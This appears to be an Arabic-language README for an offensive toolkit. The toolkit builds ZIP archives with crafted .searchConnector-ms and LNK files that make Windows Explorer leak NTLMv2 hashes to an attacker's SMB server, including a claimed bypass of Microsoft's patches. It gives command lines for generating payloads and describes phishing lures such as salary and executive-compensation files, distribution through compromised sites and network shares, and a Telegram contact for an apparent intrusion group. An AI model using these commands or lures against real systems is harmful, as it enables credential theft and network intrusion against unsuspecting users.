
كشف هاش NTLMv2-SSP بدون نقرات في Windows File Explorer
انقر على الصورة أعلاه لمشاهدة العرض التوضيحي للثغرة
تكمن مشكلة الأمان الأساسية في المعالجة التلقائية من جانب Windows Shell لمسارات UNC المضمّنة داخل تنسيقات ملفات محددة أثناء عمليات المعاينة. عندما يفتح المستخدم أرشيفات ZIP تحتوي على ملفات مصممة بعناية، يقوم مستكشف Windows تلقائيًا بتحليل مسارات UNC دون موافقة المستخدم، مما يؤدي إلى بدء محاولات مصادقة SMB وكشف تجزئات NTLMv2-SSP لخوادم يتحكم فيها المهاجم.
الملف: ntlm-disclosure-poc.py
يستغل هذا التنفيذ الأولي ملفات Windows Search Connector (.searchConnector-ms)، وهي ملفات إعدادات تستند إلى XML تحدد مواقع البحث لمستكشف Windows. تظهر الثغرة عندما يعالج Windows تلقائيًا مسار UNC المضمّن في عنصر simpleLocation أثناء عمليات معاينة أرشيف ZIP.
الخصائص التقنية:
searchConnectorDescriptionالملف: patch_bypass.ps1
تعالج هذه التقنية المطوّرة التصحيح الأولي من مايكروسوفت عبر استغلال خصائص ملفات LNK. يستغل الهجوم سلوك مستكشف Windows في جلب البيانات الوصفية للأيقونات وتحليل المسارات المستهدفة أثناء معاينة ملفات ZIP، مع الحفاظ على ناقل الاستغلال بدون نقرة من خلال تهيئة دقيقة للخصائص.
الخصائص التقنية:
TargetPath3.6+colorama5.1+Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser# Basic usage
python ntml-disclosure-poc.py 192.168.1.100
# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip
# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip
المعلمات target (مطلوب): عنوان IP أو اسم المضيف الهدف -o, --output: اسم ملف إخراج مخصص لحزمة ZIP
### 🔰 المرحلة 2: تجاوز PowerShell (CVE-2025-50154/59214)
.\bypass.ps1 -IP 192.168.1.100
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk
المعلمات
-IP (مطلوب): عنوان IP لخادم SMB الهدف
-Share: اسم مشاركة SMB (الافتراضي: 'share')
-File: اسم الملف الهدف (الافتراضي: 'payload.exe')
-Lure: اسم ملف الهندسة الاجتماعية (الافتراضي: 'Your_File_For_Payload_Here')
-OutDir: دليل الإخراج (الافتراضي: الدليل الحالي)
-KeepLnk: الاحتفاظ بملف LNK بعد إنشاء ZIP
graph TD
A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
C --> D[🛡️ Microsoft Patch]
D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
E --> F[🔴 Current State<br/>Active Exploitation]
style A fill:#ffcccc
style C fill:#ffddcc
style E fill:#ffffcc
style F fill:#ccffcc
📨 السيناريو 1: توزيع ZIP مباشر
# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"
# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments
🔄 السيناريو 2: نقل ملف LNK
# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk
# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites
🎯 السيناريو 3: هندسة اجتماعية موجهة
.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk
- Group & Contact: t.me/initial_persistence
- Email: [email protected]
| ناقل الهجوم | آلية التفعيل | تفاعل المستخدم | حالة التصحيح |
|---|
| 🔗 SearchConnector | تحليل XML + تحليل UNC | فتح ZIP | 🛡️ تم التصحيح |
| 📎 LNK TargetPath | جلب البيانات الوصفية للأيقونة | فتح ZIP | 🔴 نشط |